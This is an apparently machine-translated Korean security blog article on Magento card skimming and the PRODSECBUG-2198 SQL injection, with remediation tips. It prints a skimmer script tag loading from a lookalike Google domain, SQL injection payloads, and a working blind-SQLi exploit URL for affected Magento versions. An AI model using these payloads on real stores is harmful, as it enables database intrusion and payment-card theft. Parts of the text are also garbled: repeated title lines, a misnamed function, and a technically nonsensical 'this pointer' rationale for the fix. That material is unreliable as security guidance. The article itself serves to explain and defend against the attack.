Computer >> 컴퓨터 >  >> 네트워킹 >> 네트워크 보안

Magento 카드 스키밍은 어떻게 작동하며 어떻게 안전합니까?

Magento 카드 스키밍은 Magento 웹사이트에 '스키머'라는 악성 스크립트를 삽입하여 신용/직불 정보를 불법적으로 도용하는 행위입니다. Magento 기반 웹사이트의 소유자라면 이 문서가 적합합니다. 여기, 우리가 제공합니다 Magento 카드 스키밍 보안 문제와 관련하여 필요한 모든 세부 정보가 포함된 좋은 리소스입니다.

이 기사에서는 Magento 카드 스키밍이 무엇이며 이것이 Magento 웹사이트에 미치는 영향에 대해 논의할 것입니다(개념 증명 포함). 또한 이 문제로부터 웹사이트를 보호할 수 있는 방법에 대한 몇 가지 작업 팁을 배웁니다. 그럼 바로 들어가 보겠습니다.

관련 기사 – Magento Store에 대한 Magecart 공격이란 무엇이며 이를 방지하는 방법

Magento 카드 스키밍이란 무엇입니까?

Magento는 PHP 기반 오픈 소스 전자 상거래 플랫폼입니다. 현재 Adobe가 소유한 자체 호스팅 콘텐츠 관리 시스템입니다. 약 250,000개 이상의 웹 사이트가 Magento를 사용하여 전자 상거래 웹 사이트를 강화합니다. 이들 웹사이트의 대부분은 미국에 기반을 둔 거대 전자상거래 업체에 속합니다. 따라서 Magento는 고객 경험을 확보해야 할 막중한 책임이 있습니다.

반면에 카드 스키밍은 물리적 카드 스키밍 장치를 사용하여 신용 카드 및 직불 카드의 정보를 불법적으로 복사하는 행위입니다. 다음은 Magento와 카드 스키밍이 서로 연관되는 방식입니다.

Magento 카드 스키밍은 해커가 타사 스크립트를 통해 Magento의 결제 정보를 훔치는 웹 스키밍의 한 형태입니다. 이 스크립트를 사용하면 소유자 이름, 신용 카드/직불 카드 번호, CVV 번호 및 만료 날짜와 같은 중요한 은행 정보를 훔칠 수 있습니다. 해커는 일반적으로 암시장에서 이 정보를 판매하여 수익을 창출합니다.

PRODSECBUG-2198 정보 악용

PRODSECBUG-2198 문제는 2018년 11월 9일 Bugcrowd에서 처음 보고되었습니다. 기본적으로 PRODSECBUG-2198은 Magento에서 SQL 주입을 허용하는 취약한 코드입니다. 이 취약점으로 인해 인증되지 않은 사용자가 임의의 코드를 실행할 수 있어 민감한 정보가 유출될 수 있습니다.

곧 버그는 P1으로 표시되었습니다. Bugcrowd에 따르면 P1 취약점은 권한 상승을 유발할 수 있는 취약점입니다. 이로 인해 모든 사용자는 낮은 수준의 권한에서 관리자 권한으로 승격될 수 있습니다. 또한 원격 코드 실행, 금융 절도 등을 허용합니다. 익스플로잇은 다음 버전의 Magento를 대상으로 했습니다.

  • 마젠토 커머스 <1.14.4.1
  • Magento 오픈 소스 <1.9.4.1
  • 마젠토 <2.1.17
  • 마젠토 <2.2.8
  • 마젠토 <2.3.1

Google이라는 이름의 스키머

최근 Magento 스키밍 사례에서 우리는 해커가 가짜 Google 도메인을 사용하여 결제 세부정보를 훔치는 것을 보았습니다. 이 공격에서 악성 자바스크립트는 google-analytîcs.com이라는 도메인에서 로드되었습니다. 또는 xn--google-analytics-xpb.com

주의 깊게 보면 원래 Google 도메인의 이름입니다. 따라서 이 스키밍 공격은 민감한 결제 정보를 가져오는 방법으로 피싱을 사용합니다. 스크립트는 다음과 같습니다. –

<script type="text/javascript" src="//google-analytîcs.com/www.[redacted].com/3f5cf4657d5d9.js"></script>

또한 이 스키머는 로드된 JavaScript 및 document.getElementsByTagName을 사용하여 데이터를 캡처합니다. 열려 있는 개발자 도구가 없는 경우 이 스키머는 도난당한 데이터를 가짜 Google 도메인 – google-analytîcs.com으로 전송합니다. 또는 xn--google-analytcs-xpb.com.

그러나 웹 사이트에 개발자 도구가 열려 있으면 이상한 동작을 보여줍니다. 전송 과정 중 감지하고 중지합니다. 또한 이 동작은 사용 중인 브라우저 소프트웨어에 따라 다릅니다.

마젠토 카드 스키밍:개념 증명

이 보안 취약점에 대한 개념 증명은 다음과 같이 언급됩니다. Python으로 작성되었으며 Magento Card Skimming 문제를 일으키는 주요 원인입니다.

  • 여기에 있는 코드는 기본적으로 임의의 URL과 세션 데이터를 사용하여 더미 브라우저 세션을 생성합니다. 이것은 브라우저 클래스와 세션 획득 기능을 사용하여 수행됩니다.
  • 세션 정보가 있는 브라우저 클래스의 개체가 SQL 주입 클래스로 전달됩니다.
  • SQL 주입은 이제 세션 URL에 일부 페이로드 데이터를 추가하고 제품을 생성한 다음 웹사이트의 데이터베이스에서 중요한 세부 정보를 가져옵니다. SQL 주입 페이로드를 수정하여 백엔드 데이터에 대한 권한 있는 액세스 권한을 얻을 수도 있습니다.
  • 공격자는 사용자의 최근 거래 및 은행 정보에 대한 정보를 얻습니다.
Magento 카드 스키밍은 어떻게 작동하며 어떻게 안전합니까? Magento 카드 스키밍은 어떻게 작동하며 어떻게 안전합니까? Magento 카드 스키밍은 어떻게 작동하며 어떻게 안전합니까? Magento 카드 스키밍은 어떻게 작동하며 어떻게 안전합니까? Magento 카드 스키밍은 어떻게 작동하며 어떻게 안전합니까? Magento 카드 스키밍은 어떻게 작동하며 어떻게 안전합니까?

악용이 Magento 웹사이트를 어떻게 감염시키나요?

Magento는 약 2백만 PHP 라인의 거대한 코드베이스를 가지고 있습니다. 이로 인해 악용에 대한 감사 및 검색이 번거로운 작업이 됩니다. 그러나 윤리적 해커 팀이 코드를 확인했을 때 ORM 및 DB 관리를 담당하는 코드로 대상을 좁혔습니다.

Magento Card Skimming의 버그가 있었던 영역은 다음과 같습니다.

1. prepareSQLCondition 함수에서

이 공개 함수는 데이터베이스를 처리하는 주요 클래스 중 하나에 포함되어 있으며

에 있습니다.

MagentoFrameworkDBAdapterPdoMysql

기능 코드는 다음과 같습니다.

Magento 카드 스키밍은 어떻게 작동하며 어떻게 안전합니까? Magento 카드 스키밍은 어떻게 작동하며 어떻게 안전합니까?

익스플로잇 이해

이제 표시된 선에 주의를 집중하여 익스플로잇의 작동을 이해합시다. [1]로 표시된 줄에서 조건 별칭은 $conditionKeyMap을 사용하여 패턴과 연결됩니다. 이것은 30-35행에 작성된 논리를 기반으로 33행의 _prepareQuotedSqlCondition() 함수를 사용하여 별칭 내의 모든 '?' 문자를 주어진 값의 인용된 버전으로 대체합니다. 이제 다음 코드 인스턴스를 고려하십시오.

<?php

$db->prepareSqlCondition('username', ['regexp' => 'my_value']);

=> $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?";

=> $query = "username REGEXP 'my_value'";

이제 "from" 및 "to" 조건이 줄 번호 30에서 함께 사용될 때 문제가 발생합니다. 해당 코드의 논리는 필드가 범위 내에 포함되도록 합니다. 더 나은 이해를 위해 다음 코드 스니펫을 살펴보겠습니다.

<?php

$db->prepareSqlCondition('price', [

'from' => '100'

'to' => '1000'

]);

$query = "price >= '100' AND price <= '1000'";

실행 논리에 따라 두 조건이 모두 존재할 때마다 먼저 "from"이 처리된 다음 "to"가 처리됩니다. 그러나 38행에서 결정적인 실수가 발생합니다. "from"이 생성하는 쿼리는 서식 지정에 추가로 사용됩니다.

이제 모든 "?" "from" 값에 물음표가 있으면 지정된 값으로 대체되며 "to"에 할당된 값의 인용된 버전으로 대체됩니다. 유효한 SQL 주입 공격을 수행하기 위해 공격자는 다음 익스플로잇 코드를 배포할 수 있습니다.

<?php

$db->prepareSqlCondition(‘price’,[

‘from’ => ‘x?’

‘to’ => ‘ OR 1=1 -- -’

]);

-> $query = “price >= ‘x’ OR 1=1 -- -’’ AND price <= ’ OR 1=1 -- -’”

작은 규모에도 불구하고 실수는 매우 큰 영향을 미칠 수 있습니다. 놀라운 사실은 이 코드 조각이 Magento 버전 1.x에 있었다는 것입니다.

2. 동기화 클래스의 실행 기능에서

다음 위치의 실행 기능에서 또 다른 취약점이 발견되었습니다.

MagentoCatalogControllerProductFrontendActionSynchronize

보안 문제가 드러난 PHP 소스 코드는 다음과 같습니다.

<?php

public function execute()

{

$resultJson = $this->jsonFactory->create();

try {

$productsData = $this->getRequest()->getParam(‘ids’,[]);

$typeId = $this->getRequest()->getParam(‘type_id’,null);

$this->synchronizer->syncActions($productsData, $typeId);

} catch (Exception $e) {

$resultsJson->setStatusHeader(

ZendHttpResponse::STATUS_CODE_400,

ZendHttpAbstractMessage::VERSION_11,

‘Bad Request’

);

}

return $resultsJson->setData([]);

결국 버그로 이어지는 호출 스택:

<?php

$productsData = $this->getRequest()->getParam('ids', []);

$this->synchronizer->syncActions($productsData, $typeId);

 

$collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));

 

$this->_translateCondition($field, $condition);

 

$this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);

 

$this->getConnection()->prepareSqlCondition($fieldName, $condition);

 

이 취약한 코드는 Magento v2.2.0부터 존재합니다. Magento Card Skimming과 관련된 인증되지 않은 블라인드 SQL 주입을 유발할 수 있는 샘플 URL은 다음과 같습니다.

https://magento2website.com/catalog/product_frontend_action/synchronize?

 

type_id=recently_products&

 

ids[0][added_at]=&

 

ids[0][product_id][from]=?&

 

ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
Magento 카드 스키밍은 어떻게 작동하며 어떻게 안전합니까? Magento 카드 스키밍은 어떻게 작동하며 어떻게 안전합니까?

이제 데이터베이스에서 정보를 읽을 수 있으므로 공격자는 관리자 계정에 대한 자격 증명을 추출하고 이를 사용하여 백엔드에 액세스할 수 있습니다. 그들은 또한 사용자 데이터베이스 및 거래 데이터베이스에서 은행 및 기타 금융 세부 정보를 몰래 빼낼 수 있습니다. 공격자는 이 정보를 사용하여 전자 상거래 사기, 피싱 또는 비싱과 같은 사이버 범죄를 수행할 수 있습니다. 공격자는 전자 상거래 플랫폼에서 조직의 평판을 저해할 수 있는 맬웨어를 웹 사이트에 호스팅할 수도 있습니다. 웹사이트가 검색 엔진에 의해 블랙리스트에 올라 웹사이트의 유기적 트래픽이 감소할 수 있습니다.

마젠토 카드 스키밍으로부터 웹사이트를 보호하는 방법은 무엇입니까?

이제 Magento Card Skimming의 작동 방식을 자세히 이해했으므로 향후 이러한 공격으로부터 어떻게 보호할 수 있는지 알아보겠습니다.

  1. prepareSqlInjection 함수 살균

    prepareSqlInjection 함수에서 보안 버그를 제거하려면 코드를 다음과 같이 작성해야 합니다.

    $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);

    this 포인터를 사용하여 전달된 값에 대한 참조는 공격자가 백엔드 데이터에 직접 액세스하는 것을 방지합니다. 포인터 변수를 사용하면 데이터 추상화 및 승인된 기능에만 액세스할 수 있습니다.

  2. 입력 데이터 검증

    Magento 기반 웹사이트의 모든 페이지에서 입력으로 사용되는 값은 백엔드 처리를 위해 추가로 전달하기 전에 유효성을 검사해야 합니다. 유효성 검사는 적절한 기능이나 적절한 논리를 사용하여 수행할 수 있습니다. 완벽해야 합니다. 웹사이트 관리자는 웹사이트 개발자가 안전하고 덜 취약한 코드를 작성하도록 의무화해야 합니다.

  3. 보안 업데이트

    Magento 기반 웹사이트에서 사용 중인 모든 플러그인은 최신 버전이어야 합니다. 이렇게 하면 고객과 사용자에게 안전한 경험이 보장됩니다. 해커는 일반적으로 이전 플러그인에서 실행되는 웹사이트를 대상으로 하며 웹사이트 속도를 늦추고 Magento 웹사이트를 블랙리스트에 올릴 수 있는 맬웨어를 호스팅할 수 있습니다.

  4. 보안 감사

    사이트에 대한 철저한 보안 감사를 수행하여 웹사이트에 보안 허점이 없는지 확인하십시오. 모든 Magento 사용자를 수정하고 모르는 사람은 삭제하십시오. 모든 허점과 코딩 취약점을 발견하기 위해 웹사이트에서 전문적인 VAPT(취약점 평가 및 침투 테스트)를 수행할 수 있습니다.

  5. 보안 불일치 보고

    사용자 데이터베이스 또는 거래를 처리하는 데이터베이스에서 보안 침해의 흔적이 발견되면 관련 당사자(결제 처리자, 고객, 회사 이해 관계자)에게 연락하여 가능한 한 빨리 이 비상 사태를 정리하십시오. 보안 침해를 방치해서는 안 됩니다.

  6. 공유 호스팅 보안 위험에 주의

    웹 사이트가 공유 호스팅을 사용하여 호스팅되는 경우 백업 및 보안 강화 계획을 구입해야 합니다. 보안 관리자 또는 웹 사이트 관리자는 호스팅 서비스 제공업체에 연락해야 하며 공유 호스팅 서버에서 호스팅되는 다른 웹사이트에 대한 지식이 있어야 합니다. 경제적인 옵션을 선택하여 비즈니스의 온라인 평판을 위험에 빠뜨리지 마십시오. 공유 보안 위험에 대한 자세한 논의는 이미 Astra 블로그의 이전 기사에서 수행되었습니다. 여기에서 읽을 수 있습니다.

  7. 데이터 암호화

    강력한 암호화 메커니즘으로 웹사이트 데이터베이스에 저장되는 데이터를 암호화합니다. 이렇게 하면 공격자가 사용자의 개인 데이터나 조직의 전략적 정보에 침입하는 데 어려움을 겪을 수 있습니다.

  8. XSS 공격 경로 수정

    Magento의 지불 게이트웨이 페이지가 PHP 기반 양식을 사용하여 구성되기 때문에 이 기사에서 XSS에 대해 논의하지 않지만 htmlspecialchars()를 사용하는 것이 중요합니다. $_SERVER[“PHP_SELF”] 공격을 방지하는 기능입니다.

  9. 방화벽 설치

    웹 애플리케이션 방화벽을 설치하는 것은 웹사이트의 보안을 강화하는 또 다른 방법입니다. Astra의 방화벽은 웹사이트에 대한 지속적인 모니터링 시스템입니다. 24*7 웹사이트에 오는 위협을 식별하고 차단합니다. 또한 시도할 때마다 계속 진화하고 다음 공격을 위해 더 잘 구성됩니다.

Magento 보안 문제에 대한 추가 기사를 보려면 여기를 클릭하십시오. .

기사가 도움이 되었나요? Facebook, Twitter, LinkedIn에서 친구들과 공유하십시오.